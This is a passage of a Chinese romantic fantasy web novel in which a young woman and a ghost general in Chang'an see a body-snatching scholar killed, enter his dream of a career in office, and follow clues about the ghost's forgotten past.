她不在这里,他亦不知她去了何处。 再一次,她在他还未醒时就早早离开,只言片语都未给他留下,而他唯一能做的,就是等她回来。 好在他一缕残魂附在她头上绒花,知道她一切平安。 等人的滋味不好受,沈寄时立在院中,看到合欢树枝叶飘落,风一吹,残叶在石砖上滚滚而过,竟已是季秋时节。 今年长安少雨水,也不知再过几月,能否等到一场冬雪。 他依稀记得,落雪的长安很好看,只是一入黄泉三百年,他已经有些记不大清了。 秋风萧瑟,他看到不远处被风荡起的秋千上落了一层厚厚的灰,连接在上面的藤蔓早就已经断了好几根,不能再用了。 生时碌碌,死后却无事可做,索性便去修秋千。 于做秋千修秋千一事上,他称得上是得心应手,原因无他,在蜀州时,不管是桥脉脉还是沈萤的秋千都是他亲手所做,做出来的秋千耐用还荡得高,哪里像这只秋千一般不经用。 他微顿,突然想起,自回长安后,他每日往返军营,竟连秋千都未曾给她做过。 他想得出神,未曾听到身后脚步声。 “沈郎君。” 身后响起少女清灵的嗓音,“你是在修秋千吗?” 沈寄时没预料到她回来的这样快,一转身,对上一双清润如水的眸子。 天愈寒,她今日穿了一层绒衣,俏生生立在那里。 沈寄时眉心微松,错开目光,解释道:“看到院落中秋千坏了,顺手修缮。” 他说着,将系好的藤条绑在树枝上,又动了动指尖,将秋千上那层灰扫落。 桥妧枝凑近,看着一尘不染的秋千,仰首,“我已经许久没有荡秋千,如果不是郎君提醒,我都要忘记这里还有一只秋千。” 说话时,他们距离很近,沈寄时又嗅到她身上属于陌生人的气息,于是低声问:“女郎一早去了何处?” “冯郎君送了梨子来,听说是从关中带回来的雪梨。” 她道:“阿娘叫我去吃。” 沈寄时神色微顿,又听她道:“沈郎君喜欢吃梨吗?” 他下意识皱眉,“不喜,梨吃多了会伤脾,女郎还是少吃为妙。” “喔,我就吃了一点,没关系的。” 她眉眼轻弯,坐在刚刚修好的秋千上,脚尖轻轻点地,晃晃悠悠荡起来。 鹅黄色的裙摆随风微扬,周遭鸟雀嘶鸣,是难得的安宁。 谁都没有说话, 不知过了多久,云层之中漏出一丝熹微,照在桥妧枝脸上,她才恍然察觉,竟已经出太阳了。 桥妧枝转头去看身边人,却见他露在光下的半个手臂已经成了透明色。 她猛地起身,扯住沈寄时袖子往廊下走,边走边急道:“沈郎君,你是感受不到痛吗?” 沈寄时唇角微勾,语气却平淡,“一时出神,没有察觉。” 是真的没有察觉还是不想察觉,那也只有他自己知道了。 桥妧枝抿唇,去看他手臂,见没有什么大碍方才抬头,“沈郎君,你也不知惜命的吗?” ——“沈寄时,你到底懂不懂惜命啊!” 以前他听到这句话只觉烦躁,如今却觉得一阵心安。 他垂眸,语气带了一丝笑意,“是我不慎,下次不会了。” 他知错太快,桥妧枝立即哑口无言,眼底闪过一丝迷茫。 直到院门被人轻轻敲响,郁荷的声音在外响起,“女郎,马车已经备好。” 桥妧枝闻言,回身对他道:“今日是流寇斩首的日子,我要去一趟刑场观刑,沈郎君,你要随我去吗?” 沈寄时看着她贴在额角的一缕青丝,轻轻笑了笑。 — 桥府的马车停在长安市口,坐在这里向前看去,能够清晰看到刑场上跪着十数个面目凶恶的男子。 桥妧枝坐在马车里,轻轻撬开温热的栗子皮,将里面圆润饱满的金黄色果仁放进盘中,准备一点一点吃。 栗子的香气盈满周遭,沈寄时看着她忙碌的手指,莫名想到那只捧着栗子凑到他鼻尖的手,不禁喉咙滚动,强迫自己错开目光。 周遭吵闹,百姓恨毒了这些作乱的匪寇,不断有烂菜叶向刑场投去,偶尔周围还会响起叫好声。 桥妧枝吞下一口栗肉,道:“这几年百姓过得很不好,今日杀了这些流寇,过不了多久就会来一批新的。” 她历经盛世转衰,有时看着这一切,总有一种深深地无力感。 “早晚会有海晏河清的一日。”沈寄时道。 桥妧枝轻轻嗯了一声,“其实从张渊的梦中,我大概能猜到那日在城外遇险的缘由了。” “我记得在蜀州有一年,青城县外也多了一伙匪寇。有一日我随阿娘遇险,是沈寄时及时赶来将我救下。我那时候胆子远不如这般大,躲在他怀里瑟瑟发抖了许久。” 她说着,自己都笑起来,“那时周季然应当也在的,可是他不懂,这天下没人能代替谁,沈寄时也只有一个。” 说话时,她目光落在眼前鬼魅的脸上。 可他表情太过天衣无缝,她什么都看不出来。 刑场的钟声响起,随着监刑的大理寺少卿一声行刑,刽子手手起刀落间,东市刑场瞬间血流成河。 桥妧枝看向刑场,眼都不眨,等到一切结束,方才放下车帘。 血腥气蔓延至车内,车轮启动,缓缓向前行。 “张渊走了。” 沈寄时突然开口,“那日在凶肆中醒来,他便离开了长安。” 桥妧枝一怔,“就这么走了?他去了何处?” “应当是被吓坏了,可能回了冀州老家,也可能四处飘荡。” 桥妧枝将桌上的栗子壳收起,抿唇道:“将自己身体送出去,他竟没有一点不甘心。果然,再懦弱的人,也会有某些事,在他心中超越生死。” “沈郎君,我之前怀疑他身份时,曾阅读过程林的生平。” 她想起书上有关程林的记载,“他出身贫寒却有才学,只是生不逢时,若是他生于盛世,说不定真的能成为一个好官。可如今他虽占了张渊的身体,有了再来一次的机会,却不一定能成为一个好官了。” “女郎,你觉得他会高中?” “难道不会吗?”桥妧枝疑惑,“以程林的才学,必定能够高中,即便不是状元郎,也必定榜上有名。” 沈寄时微微一笑,不置可否。 桥妧枝也不在意,对他道:“马上就要入冬,我想去城外土地庙,给窈娘他们烧些御寒的冬衣。” 窈娘,便是土地庙中那个女鬼。 沈寄时:“我陪女郎一同去。” 周遭百姓散去,马车缓缓前行,转眼便踏进冬月。 天气越来越冷,桥妧枝越发懒得出去,偶有几次出门,还总会碰到披着张渊皮的程林上前示好。 他还不知自己的老底都被人掀了,依旧孜孜不倦做着他的春秋梦。 桥妧枝懒得理他,却也听闻张渊的名号在长安已经越来越响,就连卧病在床的圣上也曾问起过他的名字,在一众举人中,他可以说是风头无两。 毫无疑问,明年春闱,张渊的名字必然会位列三甲。 又一个阴天,桥妧枝抱着小花在屋内躲寒,桌角摆放的瓶口插着一枝含苞待放的山梅。 她窝在矮塌上昏昏欲睡,长发散在肩头,隐约能闻到自己身上淡淡的青女香。 门外连廊传来急匆匆地脚步声,郁荷声音从门外传来,“女郎,张渊死了。” 桥妧枝一时没有反应过来,蹭了蹭小花柔软的肚皮,“你说谁死了?” “就是那个很有名的举人张渊,他死了。” 【作者有话说】 33章增加了一些剧情,衔接这里 今天还有 36 第36章 ◎黄粱梦◎ 张渊,或者说程林,是在茶楼与人对诗时被个疯子一刀捅进腹部,失血过多而死。 杀人者不是别人,正是今年的举人,也是冀州而来,还是张渊的同乡。 桥妧枝立在人群外,看到禁军压着一个形似疯癫的白面书生,那书生披头散发,双目猩红,满身是血跪在地上,形容恐怖,好似话本中印在书页上的鬼怪。 她记得他,是那个在茶楼里痛骂张渊的书生,她曾问过他有关张渊的事情,不成想再次见到他,竟是这样的光景。 那白面书生半个身子被压在地上,动弹不得,还还是伸着脖子冲周遭嘶吼:“你们抓错人了,他不是张渊!张渊是个无才无能平庸之辈,他们字迹都不一样!字迹都不一样!他是妖怪,你们都被骗了,他是妖怪啊!” 他说着,突然挣脱桎梏,指着地上的尸体冲众人道:“你们等着,要不了多久,它就会变成妖怪,我没有杀人,我杀的妖!” 话音刚落,便又被按倒在地。 见他如此疯癫,众人自是将他的话当做胡言乱语,不由得窃窃私语起来。 “这人应当是疯了,不知将哪里看的话本子作了真,竟对同乡痛下杀手!” “这世上哪有妖怪,还说别人是妖怪,我看他才是妖怪。” “只是可惜了张郎君,若是没有出事……” 桥妧枝站在原地,还有些反应不过来。 这一切,似乎太荒诞了些。 一个执念深到死去一百年都不肯入轮回的人,却在一切都唾手可得之时,死于一个名不见经传的同乡之手。 这么久以来的汲汲营取,到最后竹篮打水一场空,他自己想必都没有料到。 她撑着伞看向身旁之人,想到那日的对话,忍不住问:“沈郎君,你是不是早就知道他的结局?” 沈寄时目光从张渊的尸体上移开,实话实说:“只是猜到他不会高中,未曾料到竟是这样可笑的结局。” “他为何不会高中?” “程林占了张渊的身体,也就承担了他一部分命格。更何况,人鬼殊途,夺舍逆天而行,本就消耗活人精气,这具身体注定不会长命。” 只是,他也没想到,程林死得竟会这么突然。 世事无常,谁都不能料到明日会如何。 桥妧枝蹙眉,看向被众人围在中间的尸身。 她看到尸体青白的指尖上趴着一直蜘蛛,那蜘蛛顺着他指尖向上爬,渐渐没入发间。 周季然蹲在尸体旁查看了几眼伤口,握刀起身,看向尚在癫狂之中的杀人者,沉声道:“先将犯人押送刑部大牢,听候发落。” 长安闹市之中发生了这样的命案,死得人还是名满长安的才子,影响不可谓不大。 围观者议论纷纷,周季然冷冽的目光扫过众人,周遭顿时安静下来。 目光逡巡而过,直到与人群中的桥妧枝对上视线,周季然眸光微顿,轻轻颔首。 没有寒暄,周季然抬脚,与她擦肩而过。 官靴踩在地上,坠在腰间的环佩叮当作响,沈寄时目光落在他腰间的玉佩上,眸光微沉。 在他记忆中,浮屠峪一战前,周季然深受重伤并未随军入谷,他的玉佩为何会出现在战场…… 久远的记忆在脑海内突然变得模糊不清,胸口处仿佛空了一块。 他缓缓抚上胸口,他到底,忘了什么…… 张渊的尸身被带走了,杀人者在众目睽睽之下行凶,证据确凿,仵作验一遍尸便能结案。 无论死的是谁,于普通百姓而言,不过勉强充当茶余饭后的谈资,众人很快散去。 桥妧枝在原地站了一会,还没有从吃惊中回过神来。 竟这样死了,当真是有些憋屈。 朱雀大街又恢复如常,沿街叫卖声此起彼伏,桥妧枝缓缓吐出一口气,转身正要离开,脚步却顿在原地。 “沈郎君!”她看着立在不远处面色苍白,浑身湿透痴痴望着这里的陌生郎君,轻轻扯了扯身旁人衣袖,有些不确定地问:“立在街角的那个白面郎君是鬼吗?” 沈寄时双眸微眯,顺着她目光看去,扯了扯唇角,“溺水而亡,护城河离这里尚且有一段距离,如今出现在这里,应当是程林。” 不是张渊,而是程林,死了一百余年的程林。 他虽称不上俊朗,却能看出是个清秀书生,桥妧枝努力将他与书本上写的那人对上。 察觉到他们的目光,程林僵硬转过身体,看到桥妧枝以及立在她身边的男子时,先是怔住,随后脸色便倏然一变。 依旧是朱雀大街的茶楼,程林上次来这里时,还是以张渊的身份。 程他坐在包厢一角,声音沙哑:“原来女郎竟看得到鬼……” 沈寄时头也不抬,用冰凉的手将滚烫的茶水捂温,这才将茶杯推给桥妧枝。 少女接过温热茶杯,道:“程郎君,我早已见过张渊了。” 程林早就已经猜到几分,可听她说出来,还是下意识抿唇:“原来女郎早就知道我的身份,怪不得曾与我提起过程林。” “也不算太早。” 桥妧枝想了想,解释道:“第一次怀疑,是因为你行了前朝的礼节。我在蜀州时,曾见过那种行礼方式。” 程林自嘲笑了笑,“原来竟是我漏了破绽,到头来,悲欢尽是空。这些日子我所做的一切,在女郎眼中皆是笑柄。” “唔,倒也不太好笑。” 不止不太好笑,反而带来了不少麻烦。 程林抿唇,突然抬头,激动道:“我程林,确实是天下第一可笑之人!” 他周身怨气控制不住的向外散,仿佛找到了宣泄口一般,对桥妧枝道:“我上辈子自视清高,不肯折腰,被人戏耍欺骗,最终落得江边惨死的下场,可到头来又得到了什么!” “我明明有一身才华,却在那个世道无法施展,我不甘心,逗留在人间一百余年,做了一百年的野鬼!一百年,好不容易碰到一个愿意献舍给我的书生,我不愿再被人踩到脚下,拼了命的在长安扬名,可最后却死于庸人之手,简直可笑至极!” 桥妧枝抿唇,忍不住道:“若是你没有那般张扬,兴许这一切也不会发生。” “女郎是说这一切都是我的错?” 程林冷笑,身上怨气更重,“程某不过运气不好,女郎也看到了,朝中那些人不过酒囊饭袋,我若是做官,必定能比他们做得更好!” 他说到激动处,猛地起身凑近桥妧枝,眼中流出血泪,“邯郸卢生尚且能得黄粱一梦,我两世却之落得这样的下场,凭什么!” 桥妧枝被他吓了一跳,手一抖,茶水洒在裙摆上。 沈寄时眸光一沉,挡在她身前,骇人地目光落在程林身上,生生将他身上散出的怨气悉数压回去。 刚刚还在张牙舞爪之人瞬间一僵,颓废跌坐回凳上。 怨气难消,沈寄时眸光愈冷,耐心告罄,扣住少女手腕便要带她离开。 桥妧枝却想到什么,拉住他,转头看向程林:“程郎君,若是给你机会,你当真能做个清明的好官吗?” 程林浑身上下都在淌水,冷笑道:“自然!” 闻言桥妧枝点点头,“你确实很倒霉,那若是我送你一场黄粱梦,算不算替你完成心愿,能否得到阴德?” “女郎!” 沈寄时皱眉。 少女轻声解释,“沈郎君,他这样下去,再呆几百年也难以轮回。” 沈寄时冷笑:“超度鬼魂是道士该做的事情,与女郎无关。” “可是我想要阴德。” 她抿唇,低声道:“你不是说,攒够阴德兴许就能救你吗?你带我入梦,我们很快便能出来。” 沈寄时抿唇,偏头不语。 她便当他同意了,于是转身看向程林,又道:“我送你黄粱梦,你将阴德给我,便这么说定了。” 程林木着一张脸,看着眼前貌美如花的少女,鬼使神差点了点头。 — 承平二十年春,长安街头十里红妆。 “张君,恭喜恭喜,娶得一房娇妻,以后便是相国大人的乘龙快婿了,以后可不要忘了我等。” “哪里哪里,今后还要众位多多关照。” 酒杯相撞,外面响起此起彼伏的恭贺声,好不热闹。 喜房内,沈寄时看着坐在喜床上的桥妧枝,脸色难看,仿佛漏了洞的冰窟窿,周身散发冷意。 桥妧枝也没想到程林梦中是这样的场景,微微抿唇,不由得有些后悔。 黄粱梦,可不就是洞房花烛夜,金榜题名时吗? 头上凤冠压得桥妧枝抬不起头,她动了动身子,忽然察觉有一只手落在她头上。 “女郎别动。”沈寄时冷着脸,将她勾在凤冠上的青丝一点一点摘下,方才缓缓移开压在她头上的凤冠。 桥妧枝抿唇,犹豫道:“沈郎君,这番场景……” 沈寄时动作一顿,压下心中暴戾,“我带你出梦,一些阴德而已,过些时日就能攒好。” 眼中闪过一丝挣扎,桥妧枝小声道:“若是这个时候出去,那就真的功亏一篑了。” “沈郎君,这是梦中,即便是不符合常理,他应当也不会发现吧。” “女郎想如何做?” 桥妧枝越发有些心虚,声音细如蚊蝇,“沈郎君,你是男子,不在意这些,要不,我们换一换?” 沈寄时:“……” 他垂眸看她,入目却是云鬓乌发,金色的蝴蝶钗簪在上面,栩栩如生。 曾几何时,这也是他梦中场景。 见他不说话,桥妧枝越发心里没底,正想说要不还是出去吧,却听头顶传来一声:“也好……” 她诧异抬头,喜烛晃动间,看不清他的神色。 程林醉醺醺推门而入时,率先看到的是坐在喜床上的新娘子,酒喝得太多,他头晕目眩,踉跄走到床边,视线模糊间,隐约间看到坐在床上之人似乎与他想象中的不太一样。 可具体哪里不一样,他却怎么都想不起来。 不过这些都无所谓,她长着什么模样,是否对他真心,他都不在乎。 他一心想着,成了相国大人的乘龙快婿,以后进入官场,自是官运亨通。 抬手想去摸眼前美娇娘,只是手刚刚伸出,一阵醉意袭来,程林猛地栽倒在床上。 桥妧枝缓缓从屏风后走出,看到坐在榻上的冷面郎君,心虚道:“沈郎君,你有没有事?” 沈寄时对上她的视线,微微抿唇,声音一如往常,笑意却不达眼底,“女郎,我无事。” 桥妧枝:“……” 这当真是无事吗? 梦境走得飞快,弹指间,便是数年 程林的梦对于天下所有读书人都称得上是美梦,他一入京,便娶得相国大人家独女为妻,不久后,高中状元,圣上对他赏识有加,许了他京中七品官职。 他汲汲营取,倚靠岳家,一路扶摇直上,而立之年,便已官升五品。五年后,他主张变法,朝野上下焕然一新,不惑之年,桥相国辞官归乡,他深受圣上器重,一跃成为了众官之首。 为官多年,他虽做不到两袖清风,却也算是为国为民。 于家中,他妻妾和睦,虽子嗣稀薄,只有妾室所生的一个儿子,可也称得上圆满。 唯一遗憾的,便是这个儿子并不争气,整日招猫逗狗,成了远近闻名的纨绔子。 程林五十岁那年,他这不成器的儿子因在青楼争风吃醋打死了人,死者亲属要抓他去报官。 他只有这一子,自然不能眼睁睁看着他送死,于是抖着手压下状书,拿出三百两银子送给了死者亲眷,摆出做官的派头。 “生死有命富贵在天,你儿命是如此,收了银子,也不算白死!” 程林位列相国,可以称得上一手遮天,那户人家纵使再不甘心,也只好忍气吞声,含泪收下买命银。 只是天下没有不透风的墙,鸡蛋裂开一条缝,便会吸引无数苍蝇,再小的墨汁落入清水也会将水搅浑。 商贾贪官借此纷纷拜访结交,程家的钱库日渐丰盈,远胜做官的前二十年。 朝廷水渐浑,七年后,纸终究包不住火,事情败露,圣人震怒,与之有关的人全部抄家流放,程林与他那唯一的儿子也被直接送上了断头台。 长安东市,刑场之上血迹斑斑,上一个被砍头之人的血还没有干涸,下一个人头就已经落地。 程林跪在刑场上,不禁想起这七年间,自己所做的那些事。 草菅人命有,结党营私有,卖官鬻爵亦有。 浑浊的目光在围观的百姓身上逡巡,他惊讶发现,长安的百姓都已经换了一茬。三十年官场生涯仿若大梦一场,他一时之间竟有些分不清自己是张渊还是程林了。 烈酒喷洒在锈迹斑斑的铡刀上,刀落下,头颅点地,茶楼中的鬼魂猛地睁开眼睛。 — 桥妧枝睁开眼时已是晌午,桌上的茶水早已凉透,程林也不见了。 听到身后动静,沈寄时缓缓转身,主动解释:“接连两次入梦耗损精力,我便自作主张,没有叫醒女郎。” 头脑依旧有些昏沉,桥妧枝揉了揉眼睛,“程郎君呢?” 沈寄时漫不经心道:“已经离开了。” “他去投胎了吗?” 沈寄时神色淡淡,冷笑一声,语气刻薄,“夺舍本就逆天而为,他现在应当还在地狱中滚油锅,女郎休憩这一会儿,他估计已经滚了上百次。” 桥妧枝尚未完全清醒,直觉他有些生气,却没想通为何生气,便喔了一声,慢悠悠道:“我一开始,原本以为他能一直做一个好官。” “这样的人有,但不会是程林,他若当真能够两袖清风,也不会被执念困住一百余年。” 他顿了顿,也不知说给她听还是说给自己听,“能被执念困住的人,就一定会在上面栽跟头。” “那郎君收到阴德了吗?” 沈寄时看向她双肩魂火,“收到了。” 她心善,魂火本就日渐旺盛,如今又壮大了一圈,遇到寻常鬼怪,他们应当不敢近她身了。如此,即便他有朝一日离开,也可安心。 听他说收到了,桥妧枝放下心,打起精神抱起竹伞往外走。 她道:“沈郎君,我们今日出来太久了,再不回去阿娘又要问东问西。” 沈寄时眸光一顿,突然想到以前他带她出来闯祸,她也是这样说的。 ——“沈寄时,我们早点回去,不然阿娘又要在我耳边唠叨了。” 他轻嗯一声,跟在她身后,看到她垂在身后的青丝,脑海中却满是她身穿喜服的模样。 “沈郎君。” 桥妧枝见他没有跟上来,狐疑转身,开口唤他。 竹伞撑开,两人顺着朱雀大街并肩而行,衣衫相碰。 沈寄时偏头垂眸,目光落在她未施粉黛的侧脸上。 “桥姑娘。” 很陌生的称呼,桥妧枝疑惑仰头,目光中满是疑问。 他又道:“桥姑娘。” “沈郎君,怎么了?” 她声音中还带着些沙哑,说到最后一个字时,含糊又勾人。 沈寄时眸中泄出一丝笑意,闷笑出声,“桥姑娘……” 这一次,桥妧枝学聪明了,没有再转头。 沈寄时总算收回目光,只是眼中的笑意却一直没有散去。 桥妧枝眨了眨眼,只觉得脑中一片浆糊,还想囫囵再睡一觉。 37 第37章 ◎他忘了什么重要的事◎ 宣政殿内,药香四溢,明黄色的帷帐后传出断断续续的闷咳声。 守在一侧的大太监满面愁容,小心上前奉了一盏茶。 周季然垂首跪在阶下,直到将双腿生麻,也未曾听到圣上命他起身。 不知过了多久,帷帐内咳嗽声渐消,终于传出一道苍老的声音:“近日来长安很有名的那个举人死了?” 周季然答:“今早被人捅杀于朱雀大街,犯案之人已缉拿归案,并无疑点。” 过了很久,苍老的声音再次出声:“因何而起?” 周季然:“心生嫉妒,日渐疯癫。” “咳…咳咳……一介书生因嫉妒杀人,倒是有趣儿。” 听到咳声,大太监正要再奉茶,却见一只满是褶皱的手从里面伸出,摆了摆,沉声道:“不必奉茶,朕今日喝茶已经喝得够多了,就让朕咳下去吧。” “这……这怎么行,陛下龙体重要。” “太医院那些人还不至于让朕生生咳死,无需多言,退下吧。” 大太监闻言,只好无声叹了口气,将茶盏拿走。 “咳咳…朕这几日总是断断续续梦到长宁侯。”圣上好似话家常一般,与他说道:“具体梦到的什么已经记不大清了,朕只有记得那张桀骜不驯的脸,即使是在梦中,依旧像一匹无法驯服的野马,令朕好生无奈。朕醒来后,便翻来不去睡不着,只觉得可惜,长宁侯死的时候,正是弱冠之年吧。” 周季然神色一凛,薄唇抿成一条直线,沉声道:“陛下思之深,想必长宁侯在九泉之下也会对陛下感激涕零。” 帷帐后的人没再说话,不知过了多久,有宫女端进来一碗汤药,服侍圣上喝下。 龙案上的香已经烧到尽头,周季然依旧跪在原地,半点未曾挪动。 早年带兵打仗,他膝盖受过箭伤,一跪几个时辰,膝盖处已经渗出点点鲜血,疼痛难忍。 圣人服药之后便睡下了,他没有说起来,周季然便从傍晚跪到次日清晨。 日光渐盛,圣上总算醒了,他好似突然想起这个人一样,缓声道:“周卿还未离开啊。” 周季然:“守在陛下身边,是臣之幸。” “你比长宁侯会讨朕欢心,跪了一夜还能说得这样好听。” 话音落下,一道奏折突然丢在他身前,苍老的声音中多了几分威严,怒斥道:“是大梁的俸禄太少了,竟让你这般费尽心思谋取私利,监察御史的奏章都已经呈到朕手上了。” 周季然神色一变,拿起地上的奏折一目十行扫过,缓缓闭上眸子,叩首沉声道:“臣知罪。” “侵占良田,纵容家丁草菅人命,你确实有罪,按照大梁律法,已经够杀你一百次!” 圣上怒极,禁不住再次咳嗽起来,知过了多久,咳嗽声渐消,方才呼吸粗重,沉声道:“念在裴将军与长宁侯的份上,罚俸三年,不允再犯!朕累了,退下吧。” 守在一旁的大太监心惊,不敢相信陛下竟这般轻拿轻放。 “谢陛下开恩!” 周季然缓缓起身,一瘸一拐退至殿外。 膝盖处鲜血淋漓,他握住腰间失而复得地玉佩,摩挲上面的“周”字。 这是他弱冠那年,她亲手雕刻送与他的生辰礼。 缓缓睁开眸子,周季然松开玉佩,一步一步走下长阶。 — 冬月中旬,清晨一早,庭院中落了一层薄霜。 桥妧枝抱着小花坐在秋千上,哈出一口白雾,道:“今年少雨水,这个时候都不下雪,也不知什么还会不会下。” “钦天监已经急坏了,听爹爹说,光是这几日,圣上便降罪了好几个官员。” 她忧心忡忡,“若是不下雪,明年必定会有饥荒。” 她想起窈娘,到了那个时候,不知有多少人会像窈娘一样尸骨无存。 这些年,大梁天灾人祸不断,不知还能将这样的平静维持多久。 她说了许久不见身侧人出声,忍不住仰头,却见他正看着远方出神。 “沈郎君。”她提高音量唤他。 沈寄时回神,垂首看她,“怎么了?” 他眉骨高,这样低头时会看着有些凶。 桥妧枝:“你这几日总是心不在焉。” “只是忘了一些事情,怎么都想不起来,不由得心烦意乱了些,女郎不必为我忧心。” 桥妧枝没出声,抓在藤蔓上的手微微收紧,“是忘了生前的事情吗?” “是生前之事,兴许再想想,便能想起来了。” 桥妧枝没再出声,低头看着怀中小花,不知在想些什么。 与此同时,郁荷匆匆走到院门外,看着紧闭的木门叹了口气。 自从捉鬼一事后,女郎便再也不让她随便进院,就连她的房间都另寻了一处院落重新安置。 说实话,这段日子,她心中很是委屈,但也知道女郎心意已决,没有回旋的余地。 别无它法,郁荷只好站在外面,出声唤道:“女郎,府中有贵客到来,夫人让我唤您去见客。” “什么样的贵客?” 桥妧枝声音冷淡,“若是冯郎君造访,你便告诉他,我不在府中。” “不是冯郎君,是十二皇子回京了。” 话音一落,院内便是一静。 片刻后,脚步声响起,院门被打开,桥妧枝立在门口,不确定地问:“当真?” “千真万确。” “何时回来的?” “听说是昨日入京。” 桥妧枝抿唇,深吸一口气,直接将院门合上。 郁荷不明所以,“女郎?” 桥妧枝立在门后,转身去看树下之人。 兴许是距离有些远,从这个角度看他,即便他身上穿着氅衣,依旧能看出几分清瘦。 “女郎?” 他面露疑惑,似乎不知她为何站在那里看自己。 桥妧枝轻声道:“我有贵客要见,劳烦郎君留在这里等我。” 沈寄时蹙眉,直觉她今日有些不对劲,低声问:“女郎,可是出了什么事?” 桥妧枝摇头,忍不住又郑重叮嘱了一遍,“郎君一定要在这里等我。” 说完,不待他回答,少女转身踏出院门。 【作者有话说】 掉马倒计时…… 【这章会修】 38 第38章 ◎平州沈家◎ 桥府正堂内,茶香四溢,偶有交谈之声掠过云霄,惊起落在屋檐上的麻雀。 寒风萧瑟,枯叶落了满地,家丁前来奉茶时,鞋底踏过枯叶,偶尔会发出细微又清脆的声响。 “昨日才回京,今日抽空前来拜访。” “洛阳之行还算顺利,听闻相国大人喜好酒,带了洛阳盛产的杜康。” “刚回来便听闻长安近日不太平,听说还死了个举人,弄出了不少风雨。” 李御的声音断断续续响起,说得都是些寒暄之言。 桥妧枝心不在焉听着他们说话,目光却时不时像堂外看去。她看得频繁,走神间竟未曾注意堂内的谈话不知何时已经停了。 桥夫人抿了口茶,见她一副神思不属的模样,忍不住唤道:“脉脉。” 声音不大却清晰,可桥妧枝走神走得太认真,没有听到,目光依旧时不时向外看去。 桥夫人轻咳一声,不由得提高了音量,“脉脉。” 少女终于回神,飞快转过头来,“娘亲?” 桥夫人细眉轻蹙,柔声问:“过来之后就一直不说话,也不怕让人看笑话,门外有什么吸引你的?” 桥妧枝尴尬地抿了一口放在手边茶水,这才惊觉滚烫的茶水已经变凉,慌忙搪塞道:“看景。” 这个季节,到处都是一派萧然,除了墙上几只叽叽喳喳叫个不停的麻雀又有什么可看的,桥夫人显然不大相信。 只是如今有外人在场,她也不便多说什么,只好眼观鼻鼻观心,当这一次糊涂人。 见没有继续追问,桥妧枝松了口气,只是眉间浮上一丝焦躁。 她出来时故意将小花抱到了阿娘种花的院子里捣乱,按理说,现在下人就应当前来通报了,就怕发现太晚,真将阿娘那几盆心爱的花给刨死了。 若是没记错,阿娘那几盆花是爹爹专门托同僚从大理带回来的,若是真刨坏了,她必然吃不了兜着走。 好在她的担心是多余的,思索间,便已有下人匆匆进来,附在桥夫人耳边说了什么。 桥妧枝心下微松,小口抿茶,余光却瞟向桥夫人那里。 “什么?” 桥夫人猛地起身,下意识便想要离开,又意识到什么,连忙看向一旁的李御,歉意道:“殿下,后院出了些小事,臣妇……” 李御连忙起身,“夫人不必顾虑我,以前在蜀州时,我经常随沈……” 他语气一顿,“经常来府邸走动,如今就算回了长安,也没有那么多规矩。” 桥夫人笑笑,却也知道长安是长安,蜀州是蜀州,终究还是不同的。于是依旧全了规矩,行礼退下。 正堂内一下子空荡下来。 桥妧枝捧着茶杯,深吸一口气,道:“殿下,我——” 李御见神色一松,知道她要问什么,主动开口打断她:“女郎的信件从长安送到洛阳就耗费了不少时间,我收到后便立即派人去查,一来一回又耽误了不少日子,女郎要调查之事的结果,也是前几日刚刚送到我手上。” 他说着,从袖中拿出一封信件,“这里面的东西我已经打开看过了,平州确实有一户姓沈的商贾,做的是贩茶卖茶的生意,走南闯北积累了不少家业,至于其他的,女郎可以自己看。” 桥妧枝缓缓接过信封,认真道:“多谢。” “蜀州之谊,不必言谢。” 他又想到信件内容,下颌微绷,还是忍不住道:“斯人已逝,沈寄时九泉之下也不愿看到女郎如此介怀。” 介怀? 她只是想再见他一面,可他根本不在酆都。 她们最后一次相见,大吵一架,她还摔碎了定亲的玉佩,她如何能不介怀。 桥妧枝点点头,眉眼微弯,语气淡然,一副听劝的模样,“多谢十二皇子,我并未介怀什么。” 李御:“……” 他看了一眼少女因为用力捏着信封而泛白的指尖,有些啼笑皆非,最终也没有再多说什么。 来这里的目的已经达到,时候不早了,李御起身告辞,临走前,握着缰绳的手一顿,道:“我在洛阳时听说那里的柿饼很好吃,特意送到府上一些,与杜康酒放在了一处。” 她是喜欢吃柿饼的,只是很少有人知晓。 桥妧枝立在大门前,问:“殿下是听沈寄时说过些什么吗?” 李御没有否认,只是笑了笑,拍了拍身下马匹,很快走远了。 兴宁坊长街寂静,偶有马车路过,车轮滚动,发出阵阵扰人声响。 日光温和,桥妧枝在屋檐下立了好一会儿,一直等到双腿发麻,方才转身往回走。 那封信就藏在她袖中,桥妧枝行至府内一处凉亭,终于鼓起勇气将信件拿出。 不知不觉间,掌心已经出了一层细汗,信封上的墨迹被晕染的模糊不清,她看到上面扣着属于十二皇子的私章,缓缓打开信件。 — 沈寄时从清晨等到傍晚,依旧没有将人等回来。 合欢树上的枯叶经过一日寒风肆虐,凋落的所剩无几。枝丫最高处,不知什么时候竟多了一只偌大的鸟巢,正有家雀儿在里面忙进忙出。 一整日光景,过得可真快啊。 华灯初上,沈寄时依旧立在树下,静待归人。 他抚上自己胸口,能清晰感受到他等之人如今很安全。既然如此,她说要让他等,那他便再等一等,若是等不回,他就去寻他。 又是不知过了许久,四周渐渐安静下来,夜已深。 今夜无月,沈寄时身上却依旧落了一层薄霜,身上的氅衣也已经被风吹透。 他望着庭院紧闭的木门,薄唇越抿越紧,下颌渐渐紧绷。 磨炼了三百多年的沈小将军还是没有修炼到家,等得急了,身形一动便要去寻人,谁知刚走到门口,庭院木门便被人从外面推开。 沈寄时脚步一顿,率先看到的,是少女一双迷离泛红的眸子。 周遭寂静,他们咫尺距离,相对而立。 “你要我等你的。” 沈寄时表情紧绷,声音带了些若有似无的嘶哑,“我等了你一整日,从白天等到夜里,你去了哪里?” 桥妧枝立在门口,眨了眨眼,好似在消化他刚刚说了什么。 夜风带着一股浓郁的酒香席卷而来,沈寄时皱眉,意识到什么,沉声道:“你饮酒了?” 少女听懂了饮酒这两个字,于是点头,灿然一笑,“洛阳的杜康酒,很好喝,郎君要不要喝?” 她说着,从腰间解下一只酒壶递给他。 沈寄时没有接,只是脸色变得有些难看,“为何饮酒?你……”你知不知道自己不能饮酒? 见他嘴唇一张一合就是不接,桥妧枝有些疑惑,攥着酒壶抬步向他走去。只是刚走了两步,便觉腿一软,向前栽去。 沈寄时眼疾手快将少女捞进怀里,目光沉沉,语气生硬,“为何饮酒?” 桥妧枝推开他,歪着头,轻声道:“沈郎君,这些日子相处下来,我其实以为你是沈寄时的。” 她顿了顿,道:“其实你们有很多地方不像,沈寄时脾气很坏还冲动,有好几次我本以为你会像他一样生气,可又没有。” 